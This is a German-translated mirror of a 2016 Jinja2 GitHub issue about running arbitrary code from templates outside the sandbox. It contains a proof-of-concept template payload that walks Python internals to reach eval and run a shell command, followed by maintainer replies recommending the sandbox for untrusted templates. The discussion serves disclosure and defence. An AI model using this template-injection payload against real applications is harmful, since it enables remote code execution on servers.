Jinja: Führen Sie beliebige Codes in einer Vorlage ohne Sandbox-Umgebung aus.

Erstellt am 23. Feb. 2016  ·  6Kommentare  ·  Quelle: pallets/jinja

Wenn ich in meinem Projekt das Jinja2-Template-Framework verwende, habe ich eine Möglichkeit gefunden, "os.popen('id')" oder andere Funktionen ohne globales Register aufzurufen.
Es ist einfach, Shell zu erhalten, wenn der Angreifer den Inhalt der Vorlage kontrollieren kann. Ist das so ein Design?

PoC:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

Ich teste diesen Code mit Python2 (2.7.10) und Jinja2 (2.8), wenn es funktioniert, wird die UID Ihres Benutzers gedruckt ...

Hilfreichster Kommentar

Sie sollten nicht vertrauenswürdige Vorlagen nicht in einer Umgebung ohne Sandbox ausführen. Genau deshalb existiert die Sandbox (und um ehrlich zu sein, selbst mit einer Sandbox würde ich nicht zulassen, dass Benutzer beliebige Jinja-Templates bereitstellen)

Alle 6 Kommentare

Sie sollten nicht vertrauenswürdige Vorlagen nicht in einer Umgebung ohne Sandbox ausführen. Genau deshalb existiert die Sandbox (und um ehrlich zu sein, selbst mit einer Sandbox würde ich nicht zulassen, dass Benutzer beliebige Jinja-Templates bereitstellen)

Müssen also Maßnahmen ergriffen werden, um diesen Fall zu verhindern? Ich denke, es gibt eine bestimmte Anwendung, die es Benutzern ermöglichen würde, den Vorlageninhalt zu bearbeiten, aber es gibt keine praktischen Beispiele.

Ich denke, es ist notwendig, die Sandbox standardmäßig zu verwenden, da Flask oder ein anderes Web-Framework Jinja2 verwendet wird, dies nicht tun.

Warum sollten Sie die Sandbox standardmäßig verwenden? In den meisten Fällen können Vorlagen nicht von nicht vertrauenswürdigen Personen geändert werden, die sowieso keinen Zugriff auf den Code haben.

Es gibt einen Fall zur Remotecodeausführung über Flask/Jinja2-Template-Injection in Uber.
Link: http://www.tuicool.com/articles/uE3YNjY

Das standardmäßige Aktivieren von Sandboxing ist aufgrund der Rückwärtskompatibilität nicht möglich und auch nicht sinnvoll, da den meisten Vorlagen (in Flask) vertraut wird.

War diese Seite hilfreich?
0 / 5 - 0 Bewertungen